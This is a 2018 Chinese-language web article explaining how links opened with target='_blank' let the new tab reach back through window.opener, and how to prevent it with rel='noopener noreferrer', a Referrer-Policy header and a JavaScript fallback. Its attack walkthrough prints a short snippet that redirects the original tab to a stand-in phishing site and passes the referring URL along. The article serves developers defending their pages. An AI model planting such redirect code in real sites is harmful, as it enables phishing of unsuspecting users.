你从未注意的隐藏危险: target = "_blank" 和 "opener"

你从未注意的隐藏危险: target = "_blank" 和 "opener"

通常在网页中使用链接时,你很可能会添加一个简单的 target="_blank" 属性到 a 标签上来让浏览器用一个新的标签页来打开一个 URL 地址。但是这一属性正在成为网络钓鱼者攻击的机会。

前言

parent 和 opener

在讨论 opener 对象之前,我们先看看 <iframe> 里面的 parent 对象。

我们都知道 <iframe> 提供了一个用于父页面与子页面交互的对象,它就是 window.parent。也就是我们可以通过 window.parent 对象去访问父页面的 window对象。

而 opener 是跟 parent 一样的对象,但是它只是用于通过 <a target="_blank"> 来打开的新标签页。你可以通过 window.opener 直接的访问到新标签页面的 window 对象。

同域和跨域

浏览器原本提供了完整的跨域保护机制。当新旧页面域名相同时,事实上 parent 对象和 opener 对象都是父页面的 window 对象。当域名不同时,parent 和 opener 是包装过的 global 对象。这个 global 对象只提供了非常受限制的属性,其中大部分的属性是不允许访问的 (当你点出这些属性时它会抛一个 DOMException 的错误)。

在 <iframe> 中,提供了一个 sandbox 属性来控制这些页面的权限,所以即使是相同域名,你也可以通过它来控制 <iframe> 的安全性。

恶意攻击

如果你的网站上有一个使用了 target="_blank" 的 a 标签链接,一旦用户点击了这个链接打开了新的标签页,如果这个标签页跳转的网站内存在的恶意代码,那么你原本页面的网站可能会被转到一个假的页面。也就是说,当用户回到原本的页面时,他看到的可能就是已经被替换过的钓鱼页面了。


步骤

1. 你的网站上有一个 a 标签的链接 https://example.com:

<a href="https://an.evil.site" target="_blank">
  Enter an "evil" website
</a>

一个用户点击了这个链接在一个新的标签页打开这个新的网站。这个网站可以根据用户跳转新页面的 HTTP 请求中的 header 里的 Referer 字段来确定这个用户的来源。

而这个网站包含类似的 JavaScript code:

const url = encodeURIComponent('{{header.referer}}');
window.opener.location.replace('https://a.fake.site/?' + url);


2. 现在,这个用户继续浏览合格新打开的标签页,当这个开始的页面已经加载到 a.fake.site/? 之后。

3. 这个恶意的网站 a.fake.site 可以根据这个 querystring 部分伪造一个跟原本的页面一样的页面来欺骗用户(其实你也可以在这期间制造另一个跳转,让浏览器的地址栏看起来更令人困惑)


4. 当用户关掉这个新标签页(an.evil.site)然后回到开始的页面时…………Oh, no, 你再也回不到开始那个页面了。


以上的攻击方式,是在跨域的场景中。因为当跳转的页面跨域时,opener 对象与 parent 是同一个。虽然,都是受限制的并且只提供了很少的受限的可用属性。并且这一些可用的属性里,大部分都不被允许访问(否则使用时会直接报错 DOMException)。但是在跨域的场景中,opener 对象不像 parent 对象那么严格,opener 依然可以调用 location.replace 方法。

如果这是同域场景(例如,这个网站上的一个页面已经被嵌入了恶意代码),那么这个情况会变得更加严重。

预防

在 <iframe> 中有一个 sandbox 属性,所以你可以使用以下的一些方法来预防链接:


1. Referrer Policy 和 noreferrer

在上述的攻击步骤中,有用到 HTTP header 里的 Referer 属性。事实上,你可以在当前页面返回的 HTTP Response Headers 中添加 Referrer Policy 头来确保原本网页可以不受新标签页的干扰。

你需要修改后端代码(译注:或者 nginx 配置)来实现添加 Referer Policy 头。同时在前端,你也可以使用 <a> 标签本身支持的 rel 属性,通过指明 rel="noreferrer" 来确保原网页不受新标签页的干扰。

<a href="https://an.evil.site" target="_blank" rel="noreferrer">
  Enter an "evil" website
</a>

然而,需要注意的是及时你已经限制了 referer 的传递,原网页依旧无法阻止被恶意地重定向。

2. noopener

处于安全的考虑,现代浏览器支持指定 rel="noopener" 在 <a> 标签上,从而在新打开的标签页里,opener 对象将不可用,其值直接被设置成了 null。

<a href="https://an.evil.site" target="_blank" rel="noopener">
  Enter an "evil" website
</a>


3. JavaScript

而 noopener 属性看起来解决了所有的问题,但是…… 你仍旧需要考虑浏览器兼容的情况。

如你所见, 大部分浏览器都已经兼容 rel="noopener" 属性了。然而,为了保护略老一点版本的浏览器以及远古浏览器(译注:比如 IE),只用 noopener 是不够的。

所以你不得不参考以下的 JavaScript 代码来处理:

"use strict";

function openUrl(url) {
  var newTab = window.open();
  newTab.opener = null;
  newTab.location = url;
}


最佳忠告

首先,你可以添加 rel="noopener" 到网站的 a 标签上(也推荐使用 rel="noreferrer"), 如果算上 target="_blank",那么看起来大概是这样:

<a href="https://an.evil.site" target="_blank"
   rel="noopener noreferrer">
  Enter an "evil" website
</a>

当然,当你要跳转到第三方网站的时候,就推荐添加 rel="nofollow" 来调整 SEO 权重。这看起来像:

<a href="https://an.evil.site" target="_blank" 
   rel="noopener noreferrer nofollow">
  Enter an "evil" website
</a>

性能

最后,我们来讨论一下性能问题,如果网站使用 <a target="_blank”> 新打开的标签页的性能就会影响当前打开的页面。在这一点看来,如果在新开的页面里有一个很臃肿的 JavaScript 脚本要执行,那么原本的页面也会受到影响,同时当前页面停滞的现象也可能出现(相当于这两个页面是在同一个线程上)。

如果 noopener 添加到了链接上,那么这新旧两个页面就不能互相插手对方了,也就是说原来的页面不会受到新页面的影响(这两个页面就变成两个线程了)。

发布于 2018-12-24

文章被以下专栏收录